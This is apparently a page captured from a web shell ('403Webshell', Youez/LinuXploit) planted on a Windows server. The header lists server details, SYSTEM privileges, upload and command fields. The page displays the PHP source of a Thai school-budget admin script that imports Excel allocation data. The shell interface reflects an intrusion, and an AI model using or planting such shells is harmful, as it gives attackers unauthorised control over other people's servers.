403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/school_budget/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/school_budget/admin/import_allocations.php
<?php
include '../template/header.php';

// ป้องกันการเข้าถึง
if (!isset($_SESSION['user_id']) || $_SESSION['role'] != 'admin') {
    header("Location: ../login.php");
    exit();
}

$message = '';

if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_FILES["alloc_file"])) {
    
    if (isset($_FILES['alloc_file']) && $_FILES['alloc_file']['error'] == UPLOAD_ERR_OK) {
        
        $file_tmp_path = $_FILES['alloc_file']['tmp_name'];
        $file_ext = strtolower(pathinfo($_FILES['alloc_file']['name'], PATHINFO_EXTENSION));

        if ($file_ext == 'xlsx' || $file_ext == 'xls') {

            require_once '../libs/PHPExcel/Classes/PHPExcel.php';

            try {
                $objPHPExcel = PHPExcel_IOFactory::load($file_tmp_path);
                $sheet = $objPHPExcel->getSheet(0);
                $highestRow = $sheet->getHighestRow();

                $success_count = 0; $error_count = 0; $error_messages = [];

                mysqli_begin_transaction($conn);

                for ($row = 2; $row <= $highestRow; $row++) { 
                    $school_name = trim($sheet->getCell('A'.$row)->getValue());
                    $type_name = trim($sheet->getCell('B'.$row)->getValue());
                    $plan_name = trim($sheet->getCell('C'.$row)->getValue());
                    $item_name = trim($sheet->getCell('D'.$row)->getValue());
                    $amount = trim($sheet->getCell('E'.$row)->getValue());
                    $excel_date = trim($sheet->getCell('F'.$row)->getValue());

                    if (empty($school_name) && empty($item_name)) continue;
                    if (empty($school_name) || empty($type_name) || empty($plan_name) || empty($item_name) || !is_numeric($amount) || empty($excel_date)) {
                        $error_messages[] = "แถวที่ $row: ข้อมูลไม่ครบถ้วนหรือไม่ถูกต้อง"; $error_count++; continue;
                    }
                    
                    $school_id = null; $type_id = null; $plan_id = null;
                    $school_res = mysqli_query($conn, "SELECT id FROM schools WHERE school_name = '".mysqli_real_escape_string($conn, $school_name)."'");
                    $type_res = mysqli_query($conn, "SELECT id FROM budget_types WHERE type_name = '".mysqli_real_escape_string($conn, $type_name)."'");
                    $plan_res = mysqli_query($conn, "SELECT id FROM plans WHERE plan_name = '".mysqli_real_escape_string($conn, $plan_name)."'");

                    if(mysqli_num_rows($school_res) > 0) $school_id = mysqli_fetch_assoc($school_res)['id'];
                    if(mysqli_num_rows($type_res) > 0) $type_id = mysqli_fetch_assoc($type_res)['id'];
                    if(mysqli_num_rows($plan_res) > 0) $plan_id = mysqli_fetch_assoc($plan_res)['id'];

                    if (!$school_id || !$type_id || !$plan_id) {
                        $error_messages[] = "แถวที่ $row: ไม่พบข้อมูล โรงเรียน/ประเภทงบ/แผนงาน ในระบบ"; $error_count++; continue;
                    }

                    $allocation_date = date('Y-m-d', PHPExcel_Shared_Date::ExcelToPHP($excel_date));

                    $sql = "INSERT INTO allocations (school_id, budget_type_id, plan_id, item_name, amount, allocation_date) 
                            VALUES ('$school_id', '$type_id', '$plan_id', '".mysqli_real_escape_string($conn, $item_name)."', '$amount', '$allocation_date')";
                    
                    if (mysqli_query($conn, $sql)) {
                        $success_count++;
                    } else {
                        $error_messages[] = "แถวที่ $row: ไม่สามารถบันทึกข้อมูลลงฐานข้อมูลได้"; $error_count++;
                    }
                }

                if ($error_count == 0) {
                    mysqli_commit($conn);
                    $message = "<div class='alert alert-success'><strong>การนำเข้าเสร็จสิ้น!</strong><br>นำเข้าข้อมูลสำเร็จ: $success_count รายการ</div>";
                } else {
                    mysqli_rollback($conn);
                    $message = "<div class='alert alert-warning'><strong>การนำเข้าไม่สำเร็จ!</strong> พบข้อผิดพลาด $error_count รายการ จึงไม่ได้บันทึกข้อมูลใดๆ</div>";
                    $message .= "<div class='alert alert-danger'><strong>รายละเอียดข้อผิดพลาด:</strong><br><ul>";
                    foreach ($error_messages as $err) $message .= "<li>" . htmlspecialchars($err) . "</li>";
                    $message .= "</ul></div>";
                }

            } catch(Exception $e) {
                mysqli_rollback($conn);
                $message = "<div class='alert alert-danger'>เกิดข้อผิดพลาดในการอ่านไฟล์ Excel: " . $e->getMessage() . "</div>";
            }
        } else {
            $message = "<div class='alert alert-danger'>ข้อผิดพลาด: กรุณาอัปโหลดไฟล์นามสกุล .xlsx หรือ .xls เท่านั้น</div>";
        }
    } else {
        $message = "<div class='alert alert-danger'>ข้อผิดพลาดในการอัปโหลดไฟล์</div>";
    }
}
?>
<div class="container-fluid px-4">
    <h1 class="mt-4">นำเข้าข้อมูลการจัดสรรงบประมาณ</h1>
    <ol class="breadcrumb mb-4">
        <li class="breadcrumb-item"><a href="index.php">แดชบอร์ด</a></li>
        <li class="breadcrumb-item"><a href="manage_allocations.php">จัดการการจัดสรรงบประมาณ</a></li>
        <li class="breadcrumb-item active">นำเข้าข้อมูล</li>
    </ol>
    
    <?php if(!empty($message)) echo $message; ?>

    <div class="card mb-4">
        <div class="card-header"><i class="bi bi-info-circle-fill me-1"></i>ขั้นตอนการนำเข้าข้อมูล</div>
        <div class="card-body">
            <p><strong>เลือก Template ที่ต้องการดาวน์โหลด:</strong></p>
            <div class="mb-3">
                <a href="generate_allocation_template.php" class="btn btn-success"><i class="bi bi-file-earmark-excel-fill me-1"></i>ดาวน์โหลด Template (แบบมี Dropdown)</a>
                <small class="d-block mt-1">ใช้สำหรับจัดสรรงบประมาณให้บางโรงเรียน หรือแต่ละโรงเรียนได้งบไม่เหมือนกัน</small>
            </div>
            <div class="mb-3">
                <a href="generate_allocation_template_all_schools.php" class="btn btn-primary"><i class="bi bi-file-earmark-spreadsheet-fill me-1"></i>ดาวน์โหลด Template (แบบมีรายชื่อทุกโรงเรียน)</a>
                 <small class="d-block mt-1">ใช้สำหรับจัดสรรงบประมาณรายการเดียวกัน **ให้ครบทุกโรงเรียน** ในครั้งเดียว</small>
            </div>
            <hr>
            <p><strong>คำแนะนำ:</strong></p>
            <ol>
                <li>เปิดไฟล์ที่ดาวน์โหลดและกรอกข้อมูลให้ครบถ้วน</li>
                <li>คอลัมน์ที่มี Dropdown List ให้เลือกจากข้อมูลที่มีอยู่เท่านั้น</li>
                <li>คอลัมน์ `Allocation Date` ต้องกรอกในรูปแบบ **YYYY-MM-DD** (เช่น 2025-10-06)</li>
                <li>บันทึกไฟล์ Excel และอัปโหลดในฟอร์มด้านล่างนี้</li>
            </ol>
        </div>
    </div>

    <div class="card">
        <div class="card-header"><i class="bi bi-upload me-1"></i>อัปโหลดไฟล์ Excel</div>
        <div class="card-body">
            <form action="import_allocations.php" method="post" enctype="multipart/form-data">
                <div class="mb-3">
                    <label for="alloc_file" class="form-label">เลือกไฟล์ Excel ที่ต้องการนำเข้า:</label>
                    <input class="form-control" type="file" id="alloc_file" name="alloc_file" accept=".xlsx, .xls" required>
                </div>
                <button type="submit" class="btn btn-primary"><i class="bi bi-cloud-arrow-up-fill me-1"></i> เริ่มนำเข้าข้อมูล</button>
            </form>
        </div>
    </div>
</div>
<?php include '../template/footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit